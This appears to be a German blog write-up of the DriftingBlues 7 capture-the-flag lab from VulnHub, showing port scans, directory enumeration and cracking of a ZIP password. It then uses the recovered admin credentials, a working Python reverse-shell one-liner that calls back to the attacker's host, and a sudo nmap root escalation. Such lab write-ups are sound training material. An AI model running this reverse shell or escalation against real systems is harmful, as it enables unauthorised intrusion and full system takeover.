VulnHub Driftingblues7 VM Pentest

Der folgende Artikel beschreibt meinen Lösungsweg für die CTF VM Driftingblues 7 von VulnHub, zu finden unter: DriftingBlues: 7 ~ VulnHub

Als erstes scanne ich die offnen Ports mit Service Fingerprinting um mögliche Angriffsvektoren zu finden

sudo nmap -sC -sV 10.22.5.112
 [sudo] password for philipp:
 Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-18 18:29 CEST
 Nmap scan report for 10.22.5.112
 Host is up (0.20s latency).
 Not shown: 994 closed ports
 PORT     STATE SERVICE  VERSION
 22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
 | ssh-hostkey:
 |   2048 c4:fa:e5:5f:88:c1:a1:f0:51:8b:ae:e3:fb:c1:27:72 (RSA)
 |   256 01:97:8b:bf:ad:ba:5c:78:a7:45:90:a1:0a:63:fc:21 (ECDSA)
 |_  256 45:28:39:e0:1b:a8:85:e0:c0:b0:fa:1f:00:8c:5e:d1 (ED25519)
 80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
 |http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3 |_http-title: Did not follow redirect to https://10.22.5.112/ 111/tcp  open  rpcbind  2-4 (RPC #100000) | rpcinfo: |   program version    port/proto  service |   100000  2,3,4        111/tcp   rpcbind |   100000  2,3,4        111/udp   rpcbind |   100000  3,4          111/tcp6  rpcbind |  100000  3,4          111/udp6  rpcbind
 443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
 |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3
 | http-title: EyesOfNetwork
 |_Requested resource was /login.php##
 | ssl-cert: Subject: commonName=localhost/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
 | Not valid before: 2021-04-03T14:37:22
 |_Not valid after:  2022-04-03T14:37:22
 |_ssl-date: TLS randomness does not represent time
 3306/tcp open  mysql    MariaDB (unauthorized)
 8086/tcp open  http     InfluxDB http admin 1.7.9
 |_http-title: Site doesn't have a title (text/plain; charset=utf-8).
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 20.54 seconds

Als nächstes schaue ich ob es interessante Dateien und Verzeichnisse über den Webserver gibt.

gobuster dir -k -u https://10.22.5.112  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 Gobuster v3.1.0
 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 [+] Url:                     https://10.22.5.112
 [+] Method:                  GET
 [+] Threads:                 10
 [+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 [+] Negative Status codes:   404
 [+] User Agent:              gobuster/3.1.0
 [+] Timeout:                 10s
 2021/04/19 12:00:39 Starting gobuster in directory enumeration mode
 /images               (Status: 301) [Size: 235] [--> https://10.22.5.112/images/]
 /modules              (Status: 302) [Size: 196] [--> /login.php##]
 /css                  (Status: 301) [Size: 232] [--> https://10.22.5.112/css/]
 /includes             (Status: 302) [Size: 196] [--> /login.php##]
 /js                   (Status: 301) [Size: 231] [--> https://10.22.5.112/js/]
 /cache                (Status: 302) [Size: 196] [--> /login.php##]
 /include              (Status: 302) [Size: 196] [--> /login.php##]
 /module               (Status: 302) [Size: 196] [--> /login.php##]
 /included             (Status: 302) [Size: 196] [--> /login.php##]
 /nagios               (Status: 302) [Size: 196] [--> /login.php##]
 /cached               (Status: 302) [Size: 196] [--> /login.php##]
 /cacti                (Status: 302) [Size: 196] [--> /login.php##]
 /cacheviewx           (Status: 302) [Size: 196] [--> /login.php##]
 /module-httplib       (Status: 302) [Size: 196] [--> /login.php##]
 /module-urllib2       (Status: 302) [Size: 196] [--> /login.php##]
 /module-urllib        (Status: 302) [Size: 196] [--> /login.php##]
 /module-anydbm        (Status: 302) [Size: 196] [--> /login.php##]
 /module-logging       (Status: 302) [Size: 196] [--> /login.php##]
 /module-xdrlib        (Status: 302) [Size: 196] [--> /login.php##]
 /module-socket        (Status: 302) [Size: 196] [--> /login.php##]
 /module-os            (Status: 302) [Size: 196] [--> /login.php##]
 /module-ConfigParser  (Status: 302) [Size: 196] [--> /login.php##]
 /module-mimetools     (Status: 302) [Size: 196] [--> /login.php##]
 /module-HTMLParser    (Status: 302) [Size: 196] [--> /login.php##]
 /module-pickle        (Status: 302) [Size: 196] [--> /login.php##]
 /module-dumbdbm       (Status: 302) [Size: 196] [--> /login.php##]
 /module-gdbm          (Status: 302) [Size: 196] [--> /login.php##]
 /module-dbm           (Status: 302) [Size: 196] [--> /login.php##]
 /module-bsddb         (Status: 302) [Size: 196] [--> /login.php##]
 /module-dbhash        (Status: 302) [Size: 196] [--> /login.php##]
 /module-shelve        (Status: 302) [Size: 196] [--> /login.php##]
 /module-getopt        (Status: 302) [Size: 196] [--> /login.php##]
 /module-exceptions    (Status: 302) [Size: 196] [--> /login.php##]
 /module-string        (Status: 302) [Size: 196] [--> /login.php##]
 /module-random        (Status: 302) [Size: 196] [--> /login.php##]
 /module-math          (Status: 302) [Size: 196] [--> /login.php##]
 /module-imp           (Status: 302) [Size: 196] [--> /login.php##]
 /module-site          (Status: 302) [Size: 196] [--> /login.php##]
 /module-SimpleXMLRPCServer (Status: 302) [Size: 196] [--> /login.php##]
 /module-DocXMLRPCServer (Status: 302) [Size: 196] [--> /login.php##]
 /module-wsgiref       (Status: 302) [Size: 196] [--> /login.php##]
 /module-webbrowser    (Status: 302) [Size: 196] [--> /login.php##]
 /module-cgitb         (Status: 302) [Size: 196] [--> /login.php##]
 /module-urlparse      (Status: 302) [Size: 196] [--> /login.php##]
 /module-SocketServer  (Status: 302) [Size: 196] [--> /login.php##]
 /module-telnetlib     (Status: 302) [Size: 196] [--> /login.php##]
 /module-uuid          (Status: 302) [Size: 196] [--> /login.php##]
 /module-cookielib     (Status: 302) [Size: 196] [--> /login.php##]
 /module-xmlrpclib     (Status: 302) [Size: 196] [--> /login.php##]
 /module-BaseHTTPServer (Status: 302) [Size: 196] [--> /login.php##]
 /module-CGIHTTPServer (Status: 302) [Size: 196] [--> /login.php##]
 /module-SimpleHTTPServer (Status: 302) [Size: 196] [--> /login.php##]
 /module-ftplib        (Status: 302) [Size: 196] [--> /login.php##]
 /module-nntplib       (Status: 302) [Size: 196] [--> /login.php##]
 /module-gopherlib     (Status: 302) [Size: 196] [--> /login.php##]
 /module-smtplib       (Status: 302) [Size: 196] [--> /login.php##]
 /module-smtpd         (Status: 302) [Size: 196] [--> /login.php##]
 /module-imaplib       (Status: 302) [Size: 196] [--> /login.php##]
 /module-poplib        (Status: 302) [Size: 196] [--> /login.php##]
 /cachefu              (Status: 302) [Size: 196] [--> /login.php##]
 /cachedump-1          (Status: 302) [Size: 196] [--> /login.php##]
 /module-StringIO      (Status: 302) [Size: 196] [--> /login.php##]
 /module-re            (Status: 302) [Size: 196] [--> /login.php##]
 /module-xml           (Status: 302) [Size: 196] [--> /login.php##]
 /cachedlogin          (Status: 302) [Size: 196] [--> /login.php##]
 /module-Tix           (Status: 302) [Size: 196] [--> /login.php##]
 /module-Cookie        (Status: 302) [Size: 196] [--> /login.php##]
 /module-cgi           (Status: 302) [Size: 196] [--> /login.php##]
 /module-email         (Status: 302) [Size: 196] [--> /login.php##]
 /modulelist           (Status: 302) [Size: 196] [--> /login.php##]
 /module-assistant     (Status: 302) [Size: 196] [--> /login.php##]
 /cacheworthy          (Status: 302) [Size: 196] [--> /login.php##]
 /cache_now            (Status: 302) [Size: 196] [--> /login.php##]
 /modules-list         (Status: 302) [Size: 196] [--> /login.php##]
 /includemanager       (Status: 302) [Size: 196] [--> /login.php##]
 /includedcontent      (Status: 302) [Size: 196] [--> /login.php##]
 /module-dict          (Status: 302) [Size: 196] [--> /login.php##]
 /moduler              (Status: 302) [Size: 196] [--> /login.php##]
 /module-actions       (Status: 302) [Size: 196] [--> /login.php##]
 ===============================================================
 2021/04/19 12:04:19 Finished

Nichts wirklich spannendes, es handelt sich um ein Produkt mit Namen Eyesofnetwork. Ein SQL Injection Versuch auf der Login Seite war erfolglos. Also nochmals einen Port Scan mit allen 65’535 Ports starten.

sudo nmap -sV -sC -p1-65535 10.22.5.112
 Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-19 12:12 CEST
 Nmap scan report for 10.22.5.112
 Host is up (0.0092s latency).
 Not shown: 65527 closed ports
 PORT     STATE SERVICE         VERSION
 22/tcp   open  ssh             OpenSSH 7.4 (protocol 2.0)
 | ssh-hostkey:
 |   2048 c4:fa:e5:5f:88:c1:a1:f0:51:8b:ae:e3:fb:c1:27:72 (RSA)
 |   256 01:97:8b:bf:ad:ba:5c:78:a7:45:90:a1:0a:63:fc:21 (ECDSA)
 |_  256 45:28:39:e0:1b:a8:85:e0:c0:b0:fa:1f:00:8c:5e:d1 (ED25519)
 66/tcp   open  http            SimpleHTTPServer 0.6 (Python 2.7.5)
 |http-server-header: SimpleHTTP/0.6 Python/2.7.5 |_http-title: Scalable Cost Effective Cloud Storage for Developers 80/tcp   open  http            Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3) |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3 |_http-title: Did not follow redirect to https://10.22.5.112/ 111/tcp  open  rpcbind         2-4 (RPC #100000) | rpcinfo: |   program version    port/proto  service |   100000  2,3,4        111/tcp   rpcbind |   100000  2,3,4        111/udp   rpcbind |   100000  3,4          111/tcp6  rpcbind |  100000  3,4          111/udp6  rpcbind
 443/tcp  open  ssl/http        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
 |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3
 | http-title: EyesOfNetwork
 |_Requested resource was /login.php##
 | ssl-cert: Subject: commonName=localhost/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
 | Not valid before: 2021-04-03T14:37:22
 |_Not valid after:  2022-04-03T14:37:22
 |_ssl-date: TLS randomness does not represent time
 2403/tcp open  taskmaster2000?
 3306/tcp open  mysql           MariaDB (unauthorized)
 8086/tcp open  http            InfluxDB http admin 1.7.9
 |_http-title: Site doesn't have a title (text/plain; charset=utf-8).
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 520.82 seconds

Aha es gibt noch einen HTTP Server der auf Port 66 hört. Auch gegen diesen Webserver starte ich eine Directory Enumeration.

gobuster dir -u http://10.22.5.112:66 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 Gobuster v3.1.0
 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 [+] Url:                     http://10.22.5.112:66
 [+] Method:                  GET
 [+] Threads:                 10
 [+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 [+] Negative Status codes:   404
 [+] User Agent:              gobuster/3.1.0
 [+] Timeout:                 10s
 2021/04/19 12:51:51 Starting gobuster in directory enumeration mode
 /index_files          (Status: 301) [Size: 0] [--> /index_files/]
 /eon                  (Status: 200) [Size: 248]
 ===============================================================
 2021/04/19 13:07:18 Finished

Im Pfad /eon befindet sich ein Base64 codiertes Dokument, welches sich als Passwort geschütztes ZIP Archiv entpuppt. Ich starte John the Ripper mit der default Wordlist und siehe da das Passwort lautet killah

curl -so- http://10.22.5.112:66/eon | base64 -d > eon.zip
zip2john eon.zip > eon.hash
 ver 2.0 eon.zip/creds.txt PKZIP Encr: cmplen=31, decmplen=19, crc=D65B49F1
john eon.hash
 Using default input encoding: UTF-8
 Loaded 1 password hash (PKZIP [32/64])
 Will run 8 OpenMP threads
 Proceeding with single, rules:Single
 Press 'q' or Ctrl-C to abort, almost any other key for status
 Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
 Almost done: Processing the remaining buffered candidate passwords, if any.
 Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
 Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
 Proceeding with incremental:ASCII
 killah           (eon.zip/creds.txt)
 1g 0:00:00:03 DONE 3/3 (2021-04-19 13:12) 0.2865g/s 2764Kp/s 2764Kc/s 2764KC/s kadrr3..kill3n
 Use the "--show" option to display all of the cracked passwords reliably
 Session completed

Im ZIP Archiv ist die Datei creds.txt und diese enthält ihrem entsprechend einen Admin Zugang

unzip eon.zip
 Archive:  eon.zip
 [eon.zip] creds.txt password:
  extracting: creds.txt
cat creds.txt
 admin
 isitreal31__

Mit den Zugangsdaten melde ich mich in der eyesofnetwork Software an. Unter Apply configuration gibt es die Möglichkeit einen Configuration Sanity Check mittels frei wählbarem Command zu starten.

Also starte ich einen Listener und führe einen Reverse Connect mit Python aus.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.38",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ich erhalte eine Shell als Apache Benutzer, welcher zufällig sudo Rechte besitzt, mit denen er unter anderem Nmap starten kann. Dazu ein kleines Script und ich habe eine Root Shell.

nc -nlvp 8000
 listening on [any] 8000 …
 connect to [172.22.220.4] from (UNKNOWN) [172.22.220.4] 56946
 sh: no job control in this shell
 sh-4.2$ id
 id
 uid=48(apache) gid=48(apache) groups=48(apache),991(eyesofnetwork)
 sh-4.2$ sudo -l
 sudo -l
 Matching Defaults entries for apache on driftingblues:
     !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
     env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
     env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
     env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
     env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
     env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
     secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
 User apache may run the following commands on driftingblues:
     (root) NOPASSWD: /bin/systemctl * snmptt, /bin/systemctl * snmptrapd,
         /bin/systemctl * snmpd, /bin/systemctl * nagios, /bin/systemctl * gedd,
         /usr/bin/nmap
 sh-4.2$ TF=$(mktemp)
 TF=$(mktemp)
 sh-4.2$ echo 'os.execute("/bin/sh")' > $TF
 echo 'os.execute("/bin/sh")' > $TF
 sh-4.2$ sudo nmap --script=$TF
 sudo nmap --script=$TF
 Starting Nmap 6.40 ( http://nmap.org ) at 2021-04-19 07:48 EDT
 NSE: Warning: Loading '/tmp/tmp.HDmLHQlXhw' -- the recommended file extension is '.nse'.
 id
 uid=0(root) gid=0(root) groups=0(root)
 cat /root/flag.txt
 flag 1/1
 ░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
 ░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄
 ░░░░█░░░░░░░░░░░░░░░░░░░░░░█
 ░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█
 ░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█
 █░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█
 █░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█
 ░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█
 ░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█
 ░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█
 ░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█
 ░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█
 ░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█
 ░░▐▌░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█
 ░░░█▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█
 ░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀
 ░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄
 ░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█
 ░░█░░▌░█░░█░░█░░░█░░█░░█
 ░░█░░▀▀░░██░░█░░░█░░█░░█
 ░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█
 congratulations!

Game Over 💪

Schreiben Sie einen Kommentar

Ihre E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.